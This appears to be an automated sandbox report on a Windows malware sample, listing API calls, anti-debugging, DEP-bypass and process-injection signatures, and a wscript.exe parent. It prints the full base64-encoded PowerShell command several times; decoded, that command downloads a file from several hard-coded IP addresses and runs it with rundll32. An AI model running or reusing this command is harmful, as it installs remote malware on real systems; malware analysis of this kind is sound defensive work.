cmdline powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
parent_process wscript.exe martian_process powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
Process injection Process 2032 resumed a thread in remote process 1188
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000033c
suspend_count: 1
process_identifier: 1188
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe